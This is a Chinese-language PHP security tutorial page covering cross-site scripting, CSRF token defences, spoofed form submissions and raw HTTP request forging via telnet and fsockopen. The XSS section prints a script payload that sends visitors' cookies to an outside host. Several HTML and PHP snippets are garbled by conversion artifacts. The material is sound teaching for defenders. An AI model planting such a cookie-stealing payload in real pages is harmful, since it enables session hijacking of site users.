==跨站脚本攻击
所有有输入的应用都面临着风险。事实上,大多数Web应用提供输入是出于更吸引人气的目的,但同时这也会把自己置于危险之中。如果输入没有正确地进行过滤和转义,跨站脚本漏洞就产生了。
以一个允许在每个页面上录入评论的应用为例,它使用了下面的表单帮助用户进行提交:
<form action="./comment.php" method="POST" /> <p>Name: <input type="text" name="name" /><br /> Comment: <textarea name="comment" rows="10" cols="60">< FONT>textarea><br /> <input type="submit" value="Add Comment" />< FONT>p> < FONT>form> |
程序向其他访问该页面的用户显示评论。例如,类似下面的代码段可能被用来输出一个评论($comment)及与之对应的发表人($name):
php echo "
$name writes: " ; echo "
$comment
"; ?> |
这个流程对$comment及$name的值给予了充分的信任,想象一下它们中的一个的内容中包含如下代码:
<script> document.location = 'http://a.abc.net/s.php?cookies=' + document.cookie |
如果你的用户察看这个评论时,这与你允许别人在你的
网站源程序中加入Javascript代码无异。你的用户会在不知不觉中把他们的cookies(浏览
网站的人)发送到a.abc.net,而接收程序(s.php)可以通过$_GET['cookies']变量防问所有的cookies。
这是一个常见的错误,主要是由于不好的
编程习惯引发的。幸运的是此类错误很容易避免。由于这种风险只在你输出了被污染数据时发生,所以只要确保做到如第一章所述的过滤输入及转义输出即可
最起码你要用htmlentities( )对任何你要输出到客户端的数据进行转义。该函数可以把所有的特殊字符转换成HTML表示方式。所有会引起浏览器进行特殊处理的字符在进行了转换后,就能确保显示出来的是原来录入的内容。
==跨站请求伪造
跨站请求伪造(CSRF)是一种允许
攻击者通过受害者发送任意HTTP请求的一类
攻击方法。此处所指的受害者是一个不知情的同谋,所有的伪造请求都由他发起,而不是
攻击者。这样,很你就很难确定哪些请求是属于跨站请求伪造
攻击。事实上,如果没有对跨站请求伪造
攻击进行特意防范的话,你的应用很有可能是有
漏洞的。
你需要用几个步骤来减轻跨站请求伪造
攻击的风险。一般的步骤包括使用POST方式而不是使用GET来提交表单,在处理表单提交时使用$_POST而不是$_REQUEST,同时需要在重要操作时进行验证(越是方便,风险越大,你需要求得方便与风险之间的平衡)。
任何需要进行操作的表单都要使用POST方式。在RFC 2616(HTTP/1.1传送协议,译注)的9.1.1小节中有一段描述:
“特别需要指出的是,习惯上GET与HEAD方式不应该用于引发一个操作,而只是用于获取信息。这些方式应该被认为是‘
安全’的。客户浏览器应以特殊的方式,如POST,PUT或DELETE方式来使用户意识到正在请求进行的操作可能是不
安全的。”
最重要的一点是你要做到能强制使用你自己的表单进行提交。尽管用户提交的数据看起来象是你表单的提交结果,但如果用户并不是在最近调用的表单,这就比较可疑了。请看下面对前例应用更改后的代码:
php session_start(); $token = md5(uniqid(rand(), TRUE)); $_SESSION['token'] = $token; $_SESSION['token_time'] = time(); ?> |
通过这些简单的修改,一个跨站请求伪造
攻击就必须包括一个合法的验证码以完全模仿表单提交。由于验证码的保存在用户的session中的,
攻击者必须对每个受害者使用不同的验证码。这样就有效的限制了对一个用户的任何
攻击,它要求
攻击者获取另外一个用户的合法验证码。使用你自己的验证码来伪造另外一个用户的请求是无效的。 该验证码可以简单地通过一个条件表达式来进行检查:
php if (isset($_SESSION['token']) && $_POST['token'] == $_SESSION['token']) { } ?> |
你还能对验证码加上一个有效时间限制,如5分钟:
php $token_age = time() - $_SESSION['token_time']; if ($token_age <= 300) { } ?> |
通过在你的表单中包括验证码,你事实上已经消除了跨站请求伪造
攻击的风险。可以在任何需要执行操作的任何表单中使用这个流程。
尽管我使用img标签描述了
攻击方法,但跨站请求伪造
攻击只是一个总称,它是指所有
攻击者通过伪造他人的HTTP请求进行
攻击的类型。已知的
攻击方法同时包括对GET和POST的
攻击,所以不要认为只要严格地只使用POST方式就行了。
==欺骗表单提交
制造一个欺骗表单几乎与假造一个URL一样简单。毕竟,表单的提交只是浏览器发出的一个HTTP请求而已。请求的部分格式取决于表单,某些请求中的数据来自于用户。
大多数表单用一个相对URL地址来指定action属性:
<form action="./pr.php" method="POST"> |
当表单提交时,浏览器会请求action中指定的URL,同时它使用当前的URL地址来定位相对URL。则在用户提交表单后会请求URL地址
http://abc.net/pr.php。
知道了这一点,很容易就能想到你可以指定一个绝对地址,这样表单就可以放在任何地方了:
<form action="http://abc.net/pr.php" method="POST"> |
这个表单可以放在任何地方,并且使用这个表单产生的提交与原始表单产生的提交是相同的。意识到这一点,
攻击者可以通过查看页面源文件并保存在他的服务器上,同时将action更改为绝对URL地址。通过使用这些手段,
攻击者可以任意更改表单,如取消最大字段长度限制,取消本地验证代码,更改隐藏字段的值,或者出于更加灵活的目的而改写元素类型。这些更改帮助
攻击者向服务器提交任何数据,同时由于这个过程非常简便易行,
攻击者无需是一个专家即可做到。
欺骗表单
攻击是不能防止的,尽管这看起来有点奇怪,但事实上如此。不过这你不需要担心。一旦你正确地过滤了输入,用户就必须要遵守你的规则,这与他们如何提交无关。
==HTTP请求欺骗
一个比欺骗表单更高级和复杂的
攻击方式是HTTP请求欺骗。这给了
攻击者完全的控制权与灵活性,它进一步证明了不能盲目信任用户提交的任何数据。
请看下面位于
http://abc.net/form.php的表单:
<form action="process.php" method="POST"> <p>Please select a color: <select name="color"> <option value="red">Red< FONT>option> <option value="green">Green< FONT>option> <option value="blue">Blue< FONT>option> < FONT>select><br /> <input type="submit" value="Select" />< FONT>p> < FONT>form> |
如果用户选择了Red并点击了Select按钮后,浏览器会发出下面的HTTP请求:
POST /process.php HTTP/1.1 Host: abc.net User-Agent: Mozilla/5.0 (X11; U; Linux i686) Referer: http://abc.net/form.php Content-Type: application/x-www-form-urlencoded Content-Length: 9 color=red . |
看到大多数浏览器会包含一个来源的URL值,你可能会试图使用$_SERVER['HTTP_REFERER']变量去防止欺骗。确实,这可以用于对付利用标准浏览器发起的
攻击,但
攻击者是不会被这个小麻烦给挡住的。通过编辑HTTP请求的原始信息,
攻击者可以完全控制HTTP头部的值,GET和POST的数据,以及所有在HTTP请求的内容。
攻击者如何更改原始的HTTP请求?过程非常简单。通过在大多数系统平台上都提供的Telnet实用程序,你就可以通过连接
网站服务器的侦听端口(典型的端口为80)来与Web服务器直接通信。下面就是使用这个技巧请求
http://abc.net/页面的例子:
$ telnet abc.net 80 Trying 192.0.34.166... Connected to abc.net (192.0.34.166). Escape character is '^]'. GET / HTTP/1.1 Host: abc.net HTTP/1.1 200 OK Date: Sat, 21 May 2005 12:34:56 GMT Server: Apache/1.3.31 (Unix) Accept-Ranges: bytes Content-Length: 410 Connection: close Content-Type: text/html <html> <head> <title>abc.net< FONT>title> < FONT>head> <body> <p>You have reached this web page by typing "example.com", "example.net", or "example.org" into your web browser.< FONT>p> <p>These domain names are reserved for use in documentation and are not available for registration. See <a href="RFC'>http://www.rfc-editor.org/rfc/rfc2606.txt">RFC _fcksavedurl=""RFC'>http://www.rfc-editor.org/rfc/rfc2606.txt">RFC" 2606, Section 3.
Connection closed by foreign host. $ |
所显示的请求是符合HTTP/1.1规范的最简单的请求,这是因为Host信息是头部信息中所必须有的。一旦你输入了表示请求结束的连续两个换行符,整个HTML的回应即显示在屏幕上。
Telnet实用程序不是与Web服务器直接通信的唯一方法,但它常常是最方便的。可是如果你用PHP编码同样的请求,你可以就可以实现自动操作了。前面的请求可以用下面的PHP代码实现:
php $http_response = ''; $fp = fsockopen('abc.net', 80); fputs($fp, "GET / HTTP/1.1"); fputs($fp, "Host: abc.net"); while (!feof($fp)) { $http_response .= fgets($fp, 128); } fclose($fp); echo nl2br(htmlentities($http_response, ENT_QUOTES, 'UTF-8')); ?> |
当然,还有很多方法去达到上面的目的,但其要点是HTTP是一个广为人知的标准协议,一般攻击者都会对它非常熟悉,并且对常见的安全漏洞的攻击方法也很熟悉。
上一页 [1] [2] [3] 下一页